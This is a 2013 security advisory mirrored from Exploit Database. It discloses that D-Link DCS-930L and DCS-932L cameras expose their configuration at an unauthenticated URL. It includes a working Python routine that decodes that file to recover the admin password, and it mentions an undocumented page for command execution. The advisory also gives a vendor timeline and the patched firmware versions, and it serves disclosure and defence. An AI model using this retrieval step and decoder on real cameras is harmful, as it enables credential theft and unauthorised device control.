D-Link DCS Cameras – Multiple Vulnerabilities

• Exploit Database
• 14 阅读

• 作者： Roberto Paleari
  日期： 2013-01-31
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/24442/

• Unauthenticated remote access to D-Link DCS cameras
  ===================================================
  
  [ADVISORY INFORMATION]
  Title:Unauthenticated remote access to D-Link DCS cameras
  Discovery date: 20/06/2012
  Release date: 28/01/2013
  Credits:Roberto Paleari (roberto@greyhats.it, twitter: @rpaleari)
  
  [VULNERABILITY INFORMATION]
  Class: Authentication bypass, Remote command execution
  
  [AFFECTED PRODUCTS]
  This security vulnerability affects the following products and firmware
  versions:
   * D-Link DCS-930L, firmware version 1.04
   * D-Link DCS-932L, firmware version 1.02
  Other products and firmware versions are probably also vulnerable, but they
  were not checked.
  
  [VULNERABILITY DETAILS]
  D-Link DCS web cameras allow unauthenticated attackers to obtain the
  configuration of the device remotely. A copy of the device configuration can be
  obtained by accessing the following URL:
  
  http://<device IP address>/frame/GetConfig
  
  The obtained configuration file is obfuscated using a trivial obfuscation
  scheme. Python code for the deobfuscation follows (sorry, the code is quite a
  mess :-)):
  
  <cut>
  # 'data' holds the content of the obfuscated configuration file
  def deobfuscate(data):
  r = []
  for c in data:
  c = ord(c)
  c = (c + ord('y')) & 0xff
  c = (c ^ ord('Z')) & 0xff
  c = (c - ord('e')) & 0xff
  r.append(c)
  
  tmp = None
  i = len(r) - 1
  while i >= 0:
  if i == len(r) - 1:
  x = r[i]
  tmp = ((x & 7) << 5) & 0xff
  
  if i == 0:
  assert tmp is not None
  x = r[0]
  x = (x >> 3) & 0xff
  x = (x + tmp) & 0xff
  r[0] = x
  else:
  c1 = r[i-1]
  c2 = r[i]
  c1 = c1 & 0x7
  c2 = (c2 >> 3) & 0xff
  c1 = (c1 << 5) & 0xff
  c2 = (c2 + c1) & 0xff
  r[i] = c2
  i = i - 1
  
  r = "".join([chr(x) for x in r])
  
  s = ""
  assert (len(r) % 2) == 0
  for i in range(len(r)/2):
  s += r[i+(len(r)/2)] + r[i]
  
  return s
  </cut>
  
  The above procedure returns the deobfuscated ASCII version of the
  configuration file. This file includes, among other things, also the web
  password for the "admin" user.
  
  As a side note, it is worth considering that, after exploiting this issue,
  authenticated attackers can also leverage the undocumented /docmd.htm web page
  to execute arbitrary commands on the affected devices.
  
  [REMEDIATION]
  This issue has been addressed by D-Link in the following firmware releases:
  * DCS-930L V1.06B5 (August 15, 2012)
  * DCS-932L V1.04B5 (August 15, 2012)
  
  These updates are available through mydlink.com and have also been implemented
  on DCS-942L and higher camera products.
  
  [DISCLOSURE TIME-LINE]
  * 20/06/2012 - Initial vendor contact.
  
  * 11/07/2012 - The author provided D-Link with the details of the
   vulnerability.
  
  * 12/07/2012 - D-Link confirmed the issue is a new security vulnerability.
  
  * 26/01/2013 - D-Link confirmed the release of firmware versions that
   address the vulnerability.
  
  * 28/01/2013 - Public disclosure.
  
  [DISCLAIMER]
  The author is not responsible for the misuse of the information provided in
  this security advisory. The advisory is a service to the professional security
  community. There are NO WARRANTIES with regard to this information. Any
  application or distribution of this information constitutes acceptance AS IS,
  at the user's own risk. This information is subject to change without notice.